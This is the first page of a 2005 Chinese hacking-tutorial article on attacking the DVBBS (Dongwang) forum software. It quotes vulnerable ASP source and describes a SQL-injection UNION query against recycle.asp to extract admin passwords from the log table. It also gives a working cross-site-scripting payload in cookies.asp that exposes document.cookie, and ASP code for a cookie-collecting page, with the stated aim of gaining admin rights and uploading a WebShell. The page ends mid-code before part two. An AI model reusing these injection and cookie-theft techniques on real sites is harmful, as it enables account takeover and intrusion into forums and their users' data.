首页 | 业界新闻 | 黑客教程 | 安全漏洞 | 安全文章 | 破解技术 | 技术文摘 | 黑客文化 | 本站原创 | 安全贴吧 | 在线留言 | IP查询 | 软件下载 | 繁体中文 |
您现在的位置: 黑色反击 >> 技术资讯 >> 黑客教程 >> 入侵实例 >> 正文
夏日动网“洞”不断
时间:2005-8-9 9:08:42 出处:黑客防线 作者:llikz 编辑:mervin 点击数:

脚本小子:自从去年黑防杂志上登出《把DVBBS送下地狱》等一系列重量级动网漏洞攻击文章之后,今年llikez又在第六期大暴新版动网7.1漏洞,本期再次放出动网的几个新漏洞,希望这种对流行站点bug孜孜以求的精神能继续在黑客防线传承下去。下一个在黑防连载漏洞的人,最好就是你了!



适合读者:脚本爱好者,入侵爱好者

前置知识:跨站基础知识

夏日动网“洞”不断

文/图 llikz

正因为动网论坛拥有超过50%的中国站长用户,成为中国论坛领域事实上的标准,所以自去年动网论坛7.0.0 SP2以下所有版本发现上传漏洞后,国内网络被搞的鸡犬不宁。各大论坛的管理员,网管也愈来愈重视动网官方的动态,所有论坛程序基本都升级到7.0.0 SP2,或者是最新的7.1.0了,是不是这些版本就足够安全,足够强壮了呢?当然并非如此,自从本人发现最新版本中的admin_postings.asp文件存在注入漏洞后,官方论坛丝毫没有打补丁的意思。可能他们以为漏洞利用起来比较困难,需要前台管理员权限,但是如果我们再结合传说中的温柔杀手:跨站脚本攻击。就会大大提高我们提升权限的几率。更令人兴奋的是结合recycle.asp的注入漏洞,对Access版本也显奇效。无论是7.0.0的还是7.1.0的都受影响。首先说说这个漏洞吧。

打开recycle.asp,

<!--#include file="conn.asp"-->

<!-- #include file="inc/const.asp" -->

<!-- #include file="inc/DvADChar.asp" -->

<!-- #include file="inc/dv_ubbcode.asp" -->

<%

Rem 修改记录:2004-5-3 行396 Dvbbs.YangZheng

Server.ScriptTimeOut=999999

dim bBoardEmpty

dim totalrec

dim n,RowCount

dim p

dim currentpage,page_count,Pcount

dim tablename

Dvbbs.stats="论坛回收站"

Dvbbs.nav()

If Not Dvbbs.master Then Response.redirect "showerr.asp?ErrCodes=<li>您没有权限浏览本页。&action=OtherErr"

Dvbbs.ShowErr()

Dvbbs.Head_var 2,0,"",""

Dim EmotPath

EmotPath=Split(Dvbbs.Forum_emot,"|||")(0)

Dim dv_ubb,abgcolor

Set dv_ubb=new Dvbbs_UbbCode

If Request("reaction")="manage" Then

 dim topicid

 Dim trs,UpdateBoardID

 Dim fixid

 Manage_Main()

ElseIf Request("reaction")="view" Then

 View()

Else

 Main()

End If

 

Call Dvbbs.activeonline()

call Dvbbs.footer()

‘大家再看看调用的Manage_Main函数和View函数,就会发现如下代码:

If request("tablename")="dv_topic" Then

 tablename="dv_topic"

 ElseIf InStr(request("tablename"),"bbs")>0 Then

 tablename=Trim(request("tablename"))

 If Len(tablename)>8 Then

 Response.redirect "showerr.asp?ErrCodes=<li>错误的系统参数!&action=OtherErr"

 End If

 Else

 Response.redirect "showerr.asp?ErrCodes=<li>错误的系统参数!&action=OtherErr"

 End If

显然是对tablename过滤了,长度不能超过8,虽然能注入,但是实在没有价值可言,没关系,我们再看看如果我们提交的action为空,程序就会执行main函数,这个函数调用的是AnnounceList1,我们再找到这个函数看看把:

Sub AnnounceList1()

 ‘省略了无用代码,免得跟上次一样wtf又说偶骗稿费咯……

If instr(lcase(request("tablename")),"bbs")>0 then

 SQL="select AnnounceID,boardID,UserName,Topic,body,DateAndTime from "&replace(request("tablename"),"'","")&" where boardid=444 and not parentid=0 order by announceid desc"

 tablename=request("tablename")

 Else

 SQL="select topicID,boardID,PostUserName,Title,title as body,DateAndTime from dv_topic where boardid=444 order by topicid desc"

 tablename="dv_topic"

 End If

 set rs=server.createobject("adodb.recordset")

 If Not IsObject(Conn) Then ConnectionDatabase

 rs.open SQL,conn,1,1

 if rs.bof and rs.eof then

 '论坛无内容

 call showEmptyBoard1()

 else

 rs.PageSize = cint(Dvbbs.Forum_Setting(11))

 rs.AbsolutePage=currentpage

 page_count=0

 totalrec=rs.recordcount

 call showPageList1()

 end if

End sub


哈哈,显然这里没有对tablename限制长度,verygood,不过遗憾的是注入只能实现只读的查询,不能修改数据库内容,没关系,我们可以利用union查询把dv_log中记录的后台管理账号和密码一次性查询出来,这个还不够爽啊,通杀SQL版本和Access版本。

构造以下查询语句:

http://127.0.0.1/recycle.......,1,1,1,1,1%20from%20dv_bbs1

注意到l_id了吗,我们查询的时候通过递增l_id的值来遍历l_content字段中的内容,如果l_id选取的合适,就能直接得到明文账号和密码。如图1所示。

图1

看到了吗,以上显示的后台账号是llikz,密码是111111,前台管理员账号是admin。得到后台管理权限,上传WebShell绝非是难事了。

说了这么多,别太兴奋了,忘记了只有前台管理员才有权限对回收站进行操作。不过比起admin_postings.asp的注入不仅实现起来比较容易。而且能对Access版本进行攻击。下面我们就为获得前台管理员权限努力吧。只要能够实现这个条件,两个注入漏洞都能轻松实现了。

关于利用跨站脚本攻击获得管理员的cookie信息,方法多种多样,可跨站攻击的文件也有不少,比如众所周知的showerr.asp,不过这个文件的跨站漏洞在7.1.0版本中已经修补,但是还有其他很多文件存在此漏洞,就拿cookies.asp来说吧,打开以下连接:

http://127.0.0.1/cookies.asp?action=setlistmod&id=);</script><script>alert(document.cookie)</script>

看看是不是你的cookie信息弹出来了。如图2所示。

图2

我们先说一种简单的实现起来比较容易的方法(当然隐蔽性不是很高),首先建立一个asp文件用于接收cookie信息,文件内容如下:

<%

Set cookie=Server.CreateObject("Adodb.Stream")

cookie.Open

cookie.Type=2

cookie.Charset="gb2312"

cookie.WriteText(request("cookie"))

cookie.SaveToTile(server.mappath(month(now)&day(now)&hour(now)&minute(now)&second(now)&".txt"))

cookie.Close

s

[1] [2] 下一页

网 友 评 论
黑色反击 力倡网络安全,崇尚互联共享,欢迎各种媒体转载我们的原创作品 [转载请注明出处]。
EMAIL:hf110.com@gmail.com 备案:苏ICP备05010002号